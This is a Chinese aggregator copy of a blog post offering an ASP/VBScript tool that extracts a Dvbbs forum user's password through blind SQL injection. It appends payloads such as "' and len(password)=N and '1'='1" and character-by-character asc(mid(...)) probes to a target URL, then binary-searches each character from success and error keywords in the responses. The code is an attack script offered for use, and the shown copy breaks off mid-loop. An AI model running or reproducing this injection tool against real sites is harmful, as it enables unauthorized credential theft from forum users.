zoukankan      html  css  js  c++  java
  • 动网论坛password暴力破解程序代码


    <% 
    response.buffer=false 
    '为防止程序陷入死循环,初始化一些最大重试值 
    Dim MaxPassLen,MaxPassAsc 
    MaxPassLen=20 'password最大长度 
    MaxPassAsc=20

    '==== 字符转换 
    Function bytes2BSTR(vIn) 
    strReturn = "" 
    For j = 1 To LenB(vIn) 
    ThisCharCode = AscB(MidB(vIn,j,1)) 
    If ThisCharCode < &H80 Then 
    strReturn = strReturn & Chr(ThisCharCode) 
    Else 
    NextCharCode = AscB(MidB(vIn,j+1,1)) 
    strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) 
    j = j + 1 
    End If 
    Next 
    bytes2BSTR = strReturn 
    End Function 
    ' 以下是取网页内容 ========== 
    Function GetUrl(Url) 
    set oSend=createobject("Microsoft.XMLHTTP") 
    SourceCode = oSend.open ("GET",url,false) 
    oSend.send() 
    SourceCode = bytes2BSTR(oSend.responseBody) 
    GetUrl = SourceCode 
    End Function 
    '以下是推断返回页面效果 
    Function ChkPage(SourceCode,SucKey,ErrKey) 
    if Instr(SourceCode,SucKey) > 0 then 
    ChkPage=true '页面返回成功 
    exit function 
    end if 
    if Instr(SourceCode,ErrKey) > 0 then 
    ChkPage=false '页面出错 
    exit function 
    end if 
    ChkPage=false 'keyword信息不正确或者是页面未连接 
    response.write("keyword信息不正确或者是页面未连接") 
    response.end 
    End Function

    '開始破解 
    'Dim url,username,password,SucKey,

    Dim PassLenUrl 
    Dim PassLen 
    Dim ChkPassLen

    If request("begin")<>"" then 
    response.cookies("PassLen")=0 
    url=request("url") 
    username=request("username") 
    password=request("password") 
    SucKey=request("SucKey") 
    ErrKey=request("ErrKey") 
    response.write("第一步。破解password长度<BR>")

    PassLen = 1 
    ChkPassLen = false 
    Do while not ChkPassLen 
    PassLenUrl = Url & username & "'%20and%20len(" & password & ")=" & PassLen & "%20and%20'1'='1" 
    response.write("当前測试password位数为“" & PassLen & "”。请稍等......<BR>") 
    ChkPassLen = ChkPage(GetUrl(PassLenUrl),SucKey,ErrKey) 
    If ChkPassLen Then 
    response.write("成功。!!

    password位数已经測试出来了。開始測试详细位数<BR>") 
    exit do 
    Else 
    response.write("不行。继续下一位測试!<BR>") 
    End If 
    If PassLen > MaxPassLen then 
    response.write( "password位数未能測试出,请确认是否有此用户或又一次调整password长度范围") 
    response.end 
    exit do 
    End If 
    PassLen = PassLen + 1 
    Loop 
    response.write ("<FONT COLOR=red>已经測试出password长度为" & PassLen & ",開始測试详细password值</FONT><BR><BR>") 
    '循环每一位 
    Dim Asc1,Asc2,Asc10,Asc20,Ascstr 
    'Dim AscArr(PassLen) 
    Dim ChkPass,Asctemp1,Asctemp,count 
    Ascstr = ""

    For i=1 to PassLen 
    ChkPass = false 
    Asc1 = 33 
    Asc2 = 126 
    response.write "開始破解第" & i & "位password<BR>" 
    '用二分法取asc码范围 
    count=1 
    suc=false 
    Do while not suc 
    Asctemp1=Asctemp 
    if (Asc2-Asc1) mod 2 = 1 then 
    Asctemp=(Asc2-Asc1-1)/2 
    else 
    Asctemp=(Asc2-Asc1)/2 
    end if

    response.write "划定password范围为:" & chr(Asc1) & " -- " & chr(Asc2) & PassLenUrl & "<BR>" 
    PassLenUrl = Url & username & "'%20and%20asc(mid(password,"&i&",1))>=" & int(Asc1) & "%20and%20asc(mid(password,"&i&",1))<=" & int(Asc2) & "%20and%20'1'='1" 
    response.write "划定password范围为:" & chr(Asc1) & " -- " & chr(Asc2) & PassLenUrl & "<BR>" 
    ChkPass = ChkPage(GetUrl(PassLenUrl),SucKey,ErrKey) 
    if Asc1 = 33 and Asc2 = 126 and not ChkPass then 
    response.write "password不在所设定ASC码范围内" 
    %>

  • 相关阅读:
    js验证身份证号,超准确
    ORACLE 日期加减操作
    powerdesigner中将表的name在生成建表sql时生成注释
    使用Lucene-Spatial实现集成地理位置的全文检索
    MyEclipse + Maven开发Web工程的详细配置过程
    tomcat虚拟目录配置
    在jsp的js和css里面使用EL表达式取值|style里面用$取值
    JS禁用键盘浏览器退格键
    Am335x SD卡刷eMMC二
    Linux-UDP-Socket编程
  • 原文地址:https://www.cnblogs.com/mengfanrong/p/5322527.html
Copyright © 2011-2022 走看看